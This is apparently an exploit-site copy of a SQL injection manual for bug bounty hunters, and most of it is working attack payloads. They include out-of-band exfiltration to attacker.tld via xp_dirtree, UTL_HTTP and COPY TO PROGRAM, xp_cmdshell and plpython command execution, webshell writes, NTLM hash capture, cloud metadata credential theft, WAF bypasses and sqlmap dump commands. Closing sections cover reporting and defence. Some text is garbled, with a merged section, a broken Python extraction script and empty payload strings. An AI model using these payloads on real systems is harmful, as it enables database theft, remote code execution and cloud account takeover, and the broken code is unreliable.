Share
## https://sploitus.com/exploit?id=CE181207-6C70-57A1-8AB2-E3A57C8F1767
# SQL Injection: An Elite Bug Bounty Hunter's Field Manual

SQL injection has been on the OWASP Top 10 since it existed, got demoted to A03:2021 "Injection" as a category, and yet I'm still paying mortgage payments off the back of it in 2026. Let me walk you through how I actually approach it on real programs.

---

## 1. What SQLi Is and Why It Still Matters in 2026

**The primitive:** SQL injection occurs when an application concatenates untrusted input into a query sent to a SQL engine, causing the parser to interpret attacker-controlled bytes as SQL syntax rather than data. The trust boundary is the parser โ€” once it's crossed, you're speaking to the database directly.

**Why it still pays in 2026:**

- **ORM blind spots.** Developers trust ORMs, but every ORM (Sequelize, Hibernate, Django, SQLAlchemy, Prisma, GORM, ActiveRecord) has a `raw()`, `query()`, `Raw()`, or `where(string)` escape hatch. Devs reach for it when the ORM is too restrictive.
- **LLM-generated code.** Since the explosion of AI-assisted coding 2023โ€“2025, I've seen a measurable uptick in string-concatenated queries shipped by junior devs pasting model output. Models love `f"SELECT * FROM users WHERE id = {user_id}"`.
- **NoSQL-to-SQL adapters, GraphQL resolvers, and analytic backends.** Lots of "modern" stacks ultimately serialize to a SQL dialect (Trino, Snowflake, ClickHouse, DuckDB, BigQuery). Each has its own quirks and its own injection surface.
- **Second-order and stored injections in JSON columns, log ingestion pipelines, and audit trails.**
- **Internal admin panels, B2B tooling, and legacy microservices** that rarely see pentests.
- **GraphQL + SQL resolvers**, where the injectable input is three hops removed from the query.

SQLi is "solved" the way XSS is "solved" โ€” in principle, never in practice.

---

## 2. Categories of SQL Injection

### In-band (Classic)
Results return in the HTTP response body. Fastest to exploit, dying in prevalence because most modern endpoints return structured JSON rather than string-concatenated error pages.

### UNION-Based
A subclass of in-band. You append `UNION SELECT` to piggyback arbitrary data onto the original result set. Requires column-count parity and compatible types (usually solved by `NULL` padding).

```sql
' UNION SELECT NULL,NULL,NULL-- -
' UNION SELECT NULL,username,password FROM users-- -
```

### Error-Based
Force the DBMS to emit an error that embeds the result of a subquery. Most productive on MSSQL and MySQL 64-- -
```

### Blind Time-Based
When no content differential exists, introduce a measurable delay.

- MySQL: `SLEEP(5)`, `BENCHMARK(10000000,MD5('a'))`
- PostgreSQL: `pg_sleep(5)`, `pg_sleep_for('5 seconds')`
- MSSQL: `WAITFOR DELAY '0:0:5'`
- Oracle: `DBMS_PIPE.RECEIVE_MESSAGE(('a'),5)`
- SQLite: `RANDOMBLOB(100000000)` heavy work; no native sleep

Canonical payload pattern:
```sql
'; IF(SUBSTRING((SELECT top 1 name FROM master..sysdatabases),1,1)='a') WAITFOR DELAY '0:0:5'-- -
```

### Out-of-Band (OOB)
Exfiltrate via DNS/HTTP when you have no response channel. Gold on blind injections against systems with egress.

MSSQL:
```sql
'; DECLARE @q VARCHAR(1024);SET @q=(SELECT TOP 1 password FROM users)+'.attacker.tld';EXEC('master..xp_dirtree "\\'+@q+'\c$"')-- -
```

PostgreSQL (if `dblink` / `COPY ... PROGRAM` enabled):
```sql
COPY (SELECT '') TO PROGRAM 'nslookup `whoami`.attacker.tld';
```

Oracle classic:
```sql
' || (SELECT UTL_HTTP.REQUEST('http://'||(SELECT user FROM dual)||'.attacker.tld') FROM dual)-- -
' || DBMS_LDAP.INIT((SELECT password FROM users WHERE rownum=1)||'.attacker.tld',80)-- -
```

MySQL (Windows with UNC):
```sql
SELECT LOAD_FILE(CONCAT('\\\\',(SELECT @@version),'.attacker.tld\\a'));
```

### Second-Order
Your payload is stored during one request and executed during another. Input validation looks clean on the sink of write, but a later read path concatenates it into a query. Classic example: registration stores a username with `'`, and the "change password" path uses that username unsafely.

### Stacked Queries
Appending `;` and a second statement. Support is driver-dependent: MSSQL/PostgreSQL via many drivers yes; MySQL via most PHP/Python connectors no (single-statement); Oracle no natively. Always probe driver behavior before committing to a stacked-query exploit path.

---

## 3. Discovering SQLi in the Wild

### Reconnaissance

- Full subdomain enumeration (`amass`, `subfinder`, `assetfinder`, certificate transparency, GitHub dorks, `chaos-client`). Old subdomains run old code.
- Map the tech stack with `wappalyzer`, response headers, cookie names (`PHPSESSID`, `JSESSIONID`, `ASP.NET_SessionId`, `connect.sid`).
- Harvest endpoints: `waybackurls`, `gau`, `katana`, `hakrawler`, `ParamSpider`, Burp spider, JavaScript crawling via `LinkFinder` / `subjs`.
- Pull mobile API endpoints from decompiled APKs (`jadx`, `apktool`). Mobile backends are notoriously under-tested.
- Grab Swagger/OpenAPI specs from common paths: `/swagger`, `/api-docs`, `/openapi.json`, `/v2/api-docs`, `/graphql` introspection.

### Parameter Discovery

- `arjun`, `ParamSpider`, `x8`, `Param Miner` Burp extension (guess both query and header parameters).
- Header parameters are under-tested: `X-Forwarded-For`, `X-Real-IP`, `User-Agent`, `Referer`, `X-Api-Version`, custom tenant headers. Many apps log these straight into SQL.
- Cookie values โ€” session IDs are usually opaque but secondary cookies (tracking, AB testing, tenant) often hit SQL.
- Order-by / sort / filter parameters: `sort=`, `orderBy=`, `direction=`. These often can't be parameterized and get concatenated.
- JSON bodies: deeply nested fields, filter DSLs, GraphQL variables.

### Fuzzing Approach

**Stage 1 โ€” Canary detection:** send a benign character that frequently changes query parse state and watch for differences.

```
'  "  \  `  )  ')  '))  '--  ';  ,  .
```

Log status code, content length, response time, and response hash. Any anomaly is a lead.

**Stage 2 โ€” Syntactic confirmation:** verify with semantically equivalent pairs. This is the golden rule.

```
id=1'                  -> error / diff
id=1' AND '1'='1       -> equivalent to id=1
id=1' AND '1'='2       -> empty result
id=1 AND 1=1-- -       -> equivalent
id=1 AND 1=2-- -       -> empty
id=1/**/AND/**/1=1-- - -> same behavior if comments absorbed
```

Arithmetic probe (underrated):
```
id=2-1   -> equivalent to id=1  (strong signal for numeric SQLi)
id=2-1   -> 404 / not equivalent (no injection or string context)
```

**Stage 3 โ€” Time probe:** even on rate-limited targets, a conditional 10-second delay with multiple trials is conclusive.

```
id=1'-SLEEP(5)-'        MySQL string context
id=1-SLEEP(5)           MySQL numeric context
id=1||pg_sleep(5)--     PostgreSQL
id=1;WAITFOR DELAY '0:0:5'-- MSSQL
```

### Detection Signals to Watch

- Content-length deltas across equivalent payloads
- Response time variance correlating with sleep payloads (use multiple trials; network jitter is your enemy)
- Stack traces containing `PDOException`, `SqlException`, `psycopg2`, `ORA-`, `mysqli_`, `sequelize`, `Microsoft OLE DB`, `JDBC`
- Verbose 500s that leak the SQL query
- Differential behavior on `' OR SLEEP(0)='` vs `' OR SLEEP(5)='`
- Subtle UI changes: "0 results" vs "1 result" is a boolean oracle

---

## 4. DB-Specific Exploitation

### Fingerprinting First

```sql
-- Version strings
MySQL:      SELECT @@version;  SELECT version();
PostgreSQL: SELECT version();
MSSQL:      SELECT @@version;
Oracle:     SELECT banner FROM v$version;
SQLite:     SELECT sqlite_version();

-- Dialect-specific truthy probes
MySQL:      ' AND CONNECTION_ID()=CONNECTION_ID()-- -
PostgreSQL: ' AND 1=CAST(version() AS int)-- -  (errors)
MSSQL:      ' AND @@SPID=@@SPID-- -
Oracle:     ' AND ROWNUM=ROWNUM-- -
SQLite:     ' AND sqlite_version()=sqlite_version()-- -
```

Comment styles also disambiguate:
- MySQL: `#`, `-- ` (space required), `/* */`, `-- -`
- PostgreSQL/MSSQL/Oracle: `--`, `/* */`
- MySQL version-gated: `/*!50000 SELECT */`

### MySQL

Schema recon:
```sql
' UNION SELECT schema_name,NULL FROM information_schema.schemata-- -
' UNION SELECT table_name,NULL FROM information_schema.tables WHERE table_schema=database()-- -
' UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_name='users'-- -
' UNION SELECT GROUP_CONCAT(username,0x3a,password SEPARATOR 0x0a),NULL FROM users-- -
```

File I/O (requires `FILE` privilege):
```sql
' UNION SELECT LOAD_FILE('/etc/passwd'),NULL-- -
' UNION SELECT '',NULL INTO OUTFILE '/var/www/html/s.php'-- -
```

Notes: `secure_file_priv` must be empty or include target directory; MySQL โ‰ฅ 5.7.6 restricts this by default. Check with:
```sql
SELECT @@secure_file_priv;
```

### PostgreSQL

Schema recon:
```sql
' UNION SELECT datname,NULL FROM pg_database-- -
' UNION SELECT tablename,NULL FROM pg_tables WHERE schemaname='public'-- -
' UNION SELECT string_agg(username||':'||password,E'\n'),NULL FROM users-- -
```

Command execution paths:
```sql
-- PostgreSQL = 9.3 as superuser:
COPY (SELECT '') TO PROGRAM 'id > /tmp/pwn';

-- Via CREATE EXTENSION (superuser):
CREATE EXTENSION plpython3u;
CREATE FUNCTION sh(cmd text) RETURNS text AS $$ import os; return os.popen(cmd).read() $$ LANGUAGE plpython3u;
SELECT sh('id');

-- dblink reflection (cred theft):
SELECT dblink_connect('host=attacker.tld user=... password='||(SELECT passwd FROM pg_shadow LIMIT 1));

-- Large object file read (pre-11 defaults):
SELECT lo_import('/etc/passwd');
```

CVE-2019-9193 (`COPY FROM PROGRAM` / `COPY TO PROGRAM`) made this a go-to RCE for years on superuser contexts; modern PG locks it to superusers, but SaaS misconfigs still expose it.

### MSSQL

Schema recon:
```sql
'; SELECT name FROM master..sysdatabases-- -
'; SELECT name FROM sys.tables-- -
'; SELECT name FROM sys.columns WHERE object_id=OBJECT_ID('users')-- -
```

RCE chain:
```sql
-- Enable xp_cmdshell if disabled
'; EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;-- -
'; EXEC xp_cmdshell 'whoami'-- -

-- OLE Automation (alternative if xp_cmdshell blocked)
'; EXEC sp_configure 'Ole Automation Procedures',1; RECONFIGURE;-- -

-- Linked server abuse
'; SELECT * FROM OPENROWSET('SQLNCLI','Server=attacker.tld;Uid=x;Pwd=y','SELECT 1')-- -

-- NTLM hash capture via UNC
'; EXEC master..xp_dirtree '\\attacker.tld\share'-- -
```

The `xp_dirtree` / `xp_fileexist` / `xp_subdirs` trick is underrated โ€” it forces the SQL service account to authenticate to your SMB listener, letting you capture NetNTLMv2 hashes with Responder. In internal engagements this is often instant domain user compromise.

### Oracle

Schema recon:
```sql
' UNION SELECT table_name,NULL FROM all_tables-- -
' UNION SELECT column_name,NULL FROM all_tab_columns WHERE table_name='USERS'-- -
' UNION SELECT username||':'||password,NULL FROM sys.user$-- -
```

OOB/RCE primitives (privilege-dependent):
```sql
-- Network callbacks (great blind exfil)
SELECT UTL_HTTP.REQUEST('http://attacker.tld/'||(SELECT user FROM dual)) FROM dual;
SELECT UTL_INADDR.GET_HOST_ADDRESS((SELECT password FROM dba_users WHERE rownum=1)||'.attacker.tld') FROM dual;
SELECT DBMS_LDAP.INIT((SELECT banner FROM v$version WHERE rownum=1)||'.attacker.tld',80) FROM dual;

-- Java stored procedure (requires JAVAVM and privileges) โ€” path to OS command
```

Oracle tends to be heavily patched on internet-facing apps; most real-world Oracle SQLi shows up on internal apps.

### SQLite

Less impactful but still useful; often seen in mobile backends and Electron apps.

```sql
' UNION SELECT sql,NULL FROM sqlite_master-- -
' UNION SELECT name,NULL FROM sqlite_master WHERE type='table'-- -
' ATTACH DATABASE '/var/www/html/s.php' AS pwn; CREATE TABLE pwn.pwn (c TEXT); INSERT INTO pwn.pwn VALUES ('');-- -
```

The `ATTACH DATABASE` write-to-web-root trick is the poor man's `INTO OUTFILE`. Works when SQLite runs as the web user with write access.

---

## 5. WAF and Filter Bypasses

### Keyword Obfuscation
```sql
SELECT -> SeLeCt, SE/**/LECT, %53ELECT, SEL/*!12345*/ECT (MySQL version-gated)
UNION SELECT -> UNION ALL SELECT, UNION(SELECT...), UNION DISTINCT SELECT
AND -> &&, %26%26
OR -> ||, %7c%7c
```

### Whitespace Alternatives
```
space  -> /**/, %09, %0a, %0b, %0c, %0d, %a0, +, ()
```

MySQL accepts function calls without whitespace: `SELECT(user())FROM(dual)` is fully valid.

### Quote Avoidance
When `'` and `"` are filtered:
```sql
-- Hex literals
SELECT * FROM users WHERE name=0x61646d696e
-- CHAR()/CHR()
SELECT CHAR(97,100,109,105,110)
-- Concatenation from built-ins
SELECT database()  -- no quotes needed
```

### Comment Injection Mid-Keyword
MySQL:
```sql
UN/**/ION SEL/**/ECT
/*!50000UNION*/ /*!50000SELECT*/
```

### Logic-Level Bypass
```sql
-- Instead of OR 1=1
' OR 2>1-- -
' OR 'a'>'`'-- -
' OR TRUE-- -
' OR 0x31=0x31-- -

-- Instead of = (if '=' filtered)
' OR 1 LIKE 1-- -
' OR 1 BETWEEN 0 AND 2-- -
' OR 1 IN (1,2,3)-- -
```

### Double-URL-Encoding
Some WAFs decode once, the backend decodes twice:
```
%2527 -> %27 -> '
```

### Unicode/Overlong
Backends using lax unicode normalization may treat fullwidth variants as ASCII:
```
'    U+FF07  (๏ผ…27 fullwidth)
```

### HTTP Parameter Pollution
Some stacks concatenate duplicate parameters server-side:
```
id=1&id=UNION&id=SELECT...
```
ASP.NET concatenates with `,`; useful for splitting payload across parameters that are individually filtered.

### Parameter Relocation
Move payload from query string to POST body, header, JSON field, multipart field. WAF rulesets often have inconsistent coverage across content types. JSON-wrapped payloads with escaped quotes (`\u0027`) bypass many regex-based WAFs.

### MySQL "Null-byte" and Scientific Notation
```sql
1.e(0)    -- parses as 1
1337e0    -- same
```

Useful when numeric context filters digits but allows `e`.

---

## 6. Impact Escalation: From SELECT to RCE

The severity ladder a triage team will actually respect:

1. **Reflected data leak (informational)** โ€” echoing `SELECT @@version`.
2. **Sensitive data extraction (High)** โ€” usernames, emails, hashed passwords.
3. **PII / payment data (Critical)** โ€” depends on scope.
4. **Auth bypass (Critical)** โ€” `' OR 1=1-- -` in login, or extracting session tokens.
5. **Credential reuse / lateral movement (Critical)** โ€” reusing DB-stored credentials against other services.
6. **File read (Critical)** โ€” `LOAD_FILE('/etc/passwd')`, `pg_read_file`, `BULK INSERT`.
7. **File write (Critical)** โ€” `INTO OUTFILE` webshell, `ATTACH DATABASE`.
8. **RCE (Critical)** โ€” `xp_cmdshell`, `COPY ... TO PROGRAM`, `plpython3u`, UDF injection.
9. **Lateral movement inside the DB cluster** โ€” linked servers, `dblink`, replication creds.
10. **Cloud metadata pivot** โ€” if the DB host can reach `169.254.169.254`, `pg_read_file` or `xp_cmdshell` can steal IAM credentials โ†’ full cloud takeover.

### The Cloud Pivot

This is the single biggest multiplier I've leveraged on bounties in the last three years. Once you have any file read or command execution primitive inside AWS/GCP/Azure, hit the metadata service:

```
GET http://169.254.169.254/latest/meta-data/iam/security-credentials/
GET http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
```

A "low-sev blind SQLi in an internal admin endpoint" rewrites itself as "full AWS account compromise via exfiltrated IAM keys." Program owners pay for the latter.

### Credential Cracking

Extracted hashes โ†’ hashcat โ†’ credential stuffing against SSO, Okta, Jenkins, Git. Tons of SQLi reports end at "I got the hash," but triage won't score it Critical without demonstrated impact. Crack a password and pivot โ€” within scope.

---

## 7. Tooling Workflow

### The Layered Stack

**Discovery layer:** Burp Suite Pro (Intruder + Logger++ + Param Miner + Turbo Intruder + Backslash Powered Scanner + SHELLING), or `ffuf` + custom wordlists for offline fuzzing.

**Manual confirmation:** Always done by hand. Sleep probes, boolean oracles, equivalent-pair testing. Never trust an automated scanner's "possible SQLi" flag without manual verification.

**Automated extraction:** sqlmap โ€” but only after you've confirmed injection manually and know the context. Running sqlmap blindly against every parameter is how you get rate-limited or IP-banned.

Typical sqlmap invocation I actually use:
```bash
sqlmap -r req.txt \
  -p vulnerable_param \
  --dbms=mysql \
  --technique=BT \
  --level=3 --risk=2 \
  --tamper=between,space2comment,charencode \
  --random-agent \
  --delay=1 \
  --batch \
  --threads=1
```

Notes:
- Save the request to `req.txt` from Burp so all headers (cookies, CSRF tokens, tenant IDs) replay correctly.
- `--tamper` chaining bypasses WAFs but can also break the query โ€” pick the smallest effective set.
- `--technique` narrowing dramatically speeds up testing.
- Keep `--threads=1` on production bounty targets; you're a guest.

**Custom scripts:** When the target has CSRF token rotation, request signing, HMAC, or encryption around the parameter, sqlmap won't cope. Write a Python script using `requests` with the bit-extraction loop:

```python
import requests, time

def test(payload):
    r = requests.get(url, params={"id": f"1' AND {payload}-- -"})
    return r.elapsed.total_seconds() > 4

# Binary search each byte
for pos in range(1, 33):
    lo, hi = 32, 127
    while lo {mid}"):
            lo = mid + 1
        else:
            hi = mid
    print(chr(lo), end="", flush=True)
```

### Tool Decision Tree

- Confirmed injection, simple stack, no WAF โ†’ sqlmap full auto.
- Confirmed injection, WAF present โ†’ sqlmap with tamper + manual PoC.
- Auth/signing/encrypted params โ†’ custom script.
- Stacked, error-based, or OOB-friendly target โ†’ manual first for clean PoC, then sqlmap with explicit technique.
- GraphQL / JSON body injection โ†’ Burp Intruder with JSON-aware payload set, then custom script.

---

## 8. Writing a High-Quality SQLi Bug Bounty Report

### Structure

**Title:** `[Critical] Time-based blind SQL injection in /api/v2/search?sort โ€” MySQL, extractable via sqlmap`

Programs triage by title first. Include severity, technique, endpoint, impact hook.

**Summary (2โ€“3 sentences):** what, where, impact, stack.

**Severity:** CVSS 3.1 vector with justification.

Example for unauthenticated blind SQLi returning sensitive data:
```
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H  => 9.8 Critical
```

If authentication is required and the role is widely held:
```
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H  => 8.8 High
```

Do not inflate. Triage teams will downgrade inflated reports and your signal score with it.

**CWE:** CWE-89 โ€” Improper Neutralization of Special Elements used in an SQL Command.

**Vulnerable endpoint:**
```
POST /api/v2/search HTTP/1.1
Host: target.example.com
Content-Type: application/json
Cookie: session=...

{"sort":"created_at","direction":"ASC"}
```
Injectable parameter: `sort`.

**Reproduction steps:**
1. Authenticate as any registered user.
2. Submit the request above with `"sort":"created_at"`; response returns HTTP 200 in ~180 ms.
3. Submit with `"sort":"(SELECT CASE WHEN (1=1) THEN SLEEP(5) ELSE 0 END)"`; response returns HTTP 200 in ~5180 ms.
4. Submit with `"sort":"(SELECT CASE WHEN (1=2) THEN SLEEP(5) ELSE 0 END)"`; response returns in ~180 ms.

Timing differential of 5 seconds, reproducible across 10 trials (attach CSV), confirms time-based blind SQL injection.

**Proof of impact:**
```
"sort":"(SELECT CASE WHEN (ASCII(SUBSTRING((SELECT user()),1,1))=114) THEN SLEEP(5) ELSE 0 END)"
```
Extracts `user()` byte by byte. Full extraction via sqlmap:
```bash
sqlmap -r req.txt -p sort --dbms=mysql --technique=T --dump -T users -D app_prod
```

Include a redacted screenshot of extracted rows with PII blurred. Show count, not content, when possible โ€” "Extracted 1,247,892 email/hashed-password rows" is more impactful than a screenshot of real PII.

**Full impact description:**
- Unauthenticated/authenticated full read access to database.
- Direct extraction of user credentials (bcrypt, crackable offline at scale).
- Potential for pivot to file write via `INTO OUTFILE` if `secure_file_priv` permits (not tested per scope).
- Regulatory exposure (GDPR Art. 32/33, CCPA) given PII in scope.

**Remediation:**
- Replace string-concatenated sort parameter with an allowlist: `{"created_at","updated_at","name"}`.
- Where dynamic SQL is unavoidable, parameterize with prepared statements.
- Confirm ORM usage is not bypassed via `raw()`.
- Verify DB user has `SELECT`-only privilege on the schema required โ€” not superuser, not `FILE`.
- Enable query logging and alert on `information_schema` access from the app role.

**References:** OWASP SQLi Cheat Sheet, CWE-89, and any relevant public writeups.

### What Actually Moves Reports

- Reproducible, minimal PoC. A single `curl` command that shows the bug.
- Video capture for blind injection โ€” timing is hard to convey in text.
- Impact statement grounded in *the program's* assets. Generic "attacker can read database" gets downgraded. "Attacker can extract the `user_tokens` table and impersonate any user in this production tenant" gets paid.
- Separate report per logical bug. Don't bundle five SQLi across five endpoints into one report โ€” programs often pay per report.

---

## 9. Common Mistakes That Tank SQLi Reports

- **Reporting a `'` triggering a 500 error.** Not a vulnerability on its own โ€” show semantic exploitation.
- **WAF-only trigger** without a working bypass. If Cloudflare blocks your payload, you've reported the WAF's existence, not the bug.
- **Unfingerprintable DB.** Triage wants to know the DBMS. "I don't know what database it is" reads as incomplete research.
- **Claiming RCE without demonstration.** If you say `xp_cmdshell` works, prove it by executing `whoami`. Never actually touch the host filesystem or run destructive commands.
- **Out of scope.** Many programs explicitly exclude third-party integrations, staging subdomains, or read-only analytics endpoints. Read the policy.
- **DoS via heavy queries.** `SELECT * FROM users WHERE id=(SELECT sleep(30))` with 100 parallel requests is abuse, not research. Most programs consider DoS out of scope.
- **Destructive testing.** Never `DROP`, `DELETE`, `UPDATE`, `INSERT`, or `TRUNCATE` on a target you don't own. Demonstrate reads only. Even a `CREATE TABLE pwn_poc(...)` can get you banned from a program.
- **Duplicate of an internal finding.** You can't prevent this, but checking the program's "known issues" / Hall of Fame / prior disclosures sometimes tells you what's been reported.
- **Blind injection without an oracle.** "I got a 500 error" is not an oracle. You need a reliable truth-value differential.
- **Time-based without statistical rigor.** One-off delays can be network jitter. Report median over โ‰ฅ10 trials.
- **Over-reliance on sqlmap output.** Pasting `sqlmap --dump` output without understanding what technique it used or why the injection works signals low quality.
- **Skipping impact.** A confirmed injection that extracts `@@version` only is an informational-grade finding on many programs. Escalate before reporting.

---

## 10. Defensive Recommendations

### Primary Control: Parameterized Queries

The only reliable defense. Every major language has it:

```python
# Python / psycopg2
cur.execute("SELECT * FROM users WHERE id = %s", (user_id,))
```
```java
PreparedStatement stmt = conn.prepareStatement("SELECT * FROM users WHERE id = ?");
stmt.setInt(1, userId);
```
```go
db.QueryRow("SELECT * FROM users WHERE id = $1", userID)
```

Identifiers (table names, column names, sort directions) cannot be parameterized. For those, use a strict allowlist server-side โ€” never a denylist.

### Stored Procedures
Helpful only if they themselves don't concatenate. `EXEC('SELECT * FROM users WHERE id=' + @id)` inside a proc is just as vulnerable.

### ORM Usage Guidelines
- Ban or code-review every `raw()`, `exec()`, `Raw()`, or string-builder query.
- Linters: `bandit` for Python, `semgrep` rules for most languages.
- CI-gated SAST with SQLi-specific rules.

### Least Privilege
- App DB user should have only `SELECT/INSERT/UPDATE/DELETE` on the specific schema/tables it needs.
- Revoke `FILE`, `SUPERUSER`, `xp_cmdshell`, `CREATE FUNCTION`, `COPY ... FROM PROGRAM`.
- Separate DB users for read vs write paths.
- Separate DB users for tenants where feasible; defense-in-depth against tenant-crossing extraction.

### Hardening Specific Engines
- MySQL: `secure_file_priv=NULL`, `local_infile=0`, disable `LOAD DATA LOCAL INFILE`.
- MSSQL: disable `xp_cmdshell`, `Ole Automation Procedures`, `sp_OACreate`. Remove extended procs you don't use.
- PostgreSQL: run as non-superuser; disable untrusted procedural languages; restrict `COPY`.
- Oracle: revoke `CREATE PROCEDURE`, `JAVA` execution privileges, network ACLs on `UTL_HTTP` / `UTL_INADDR` / `DBMS_LDAP`.

### Defense in Depth
- **WAF:** Cloudflare, AWS WAF, Imperva, F5 โ€” useful as a speed bump, not a control. Assume it's bypassable.
- **RASP:** runtime monitoring catches some patterns the WAF misses.
- **Query allowlisting / query signatures:** pgBadger-style query fingerprint alerting.
- **Egress filtering from DB hosts:** prevents OOB exfiltration and cloud-metadata pivots.
- **Network segmentation:** DB host cannot reach arbitrary internet endpoints or `169.254.169.254`.
- **Monitoring:** alert on `information_schema` / `pg_catalog` / `sysobjects` access from application roles.
- **Secrets hygiene:** DB host should not hold credentials for other services.

### Code Review Checklist for SQLi
- Every string concatenation or f-string that reaches a DB driver.
- Every ORM escape hatch.
- Every dynamic `ORDER BY`, `LIMIT`, `OFFSET`, table name, or column name.
- Every second-order path: data stored, then used in a later query.
- Every JSON filter DSL or search query builder.
- Every admin/internal endpoint (often the forgotten surface).

---

## Final Intuition

The reason SQLi continues to pay in 2026 isn't because the primitive is hard to defend against โ€” parameterized queries are one `?` away. It's because the surface area of "places where strings become SQL" is enormous, growing (GraphQL, LLM-generated backends, analytics DSLs, admin tools), and under-tested at the edges. As a hunter, your edge is:

1. Hit endpoints nobody tests โ€” internal, B2B, mobile, legacy.
2. Fuzz parameters nobody fuzzes โ€” headers, cookies, JSON-deep fields, GraphQL variables.
3. Chain injection with cloud-metadata or credential-reuse pivots to turn mediums into criticals.
4. Communicate impact in the language of the program owner, not the language of SQL.

Good hunting.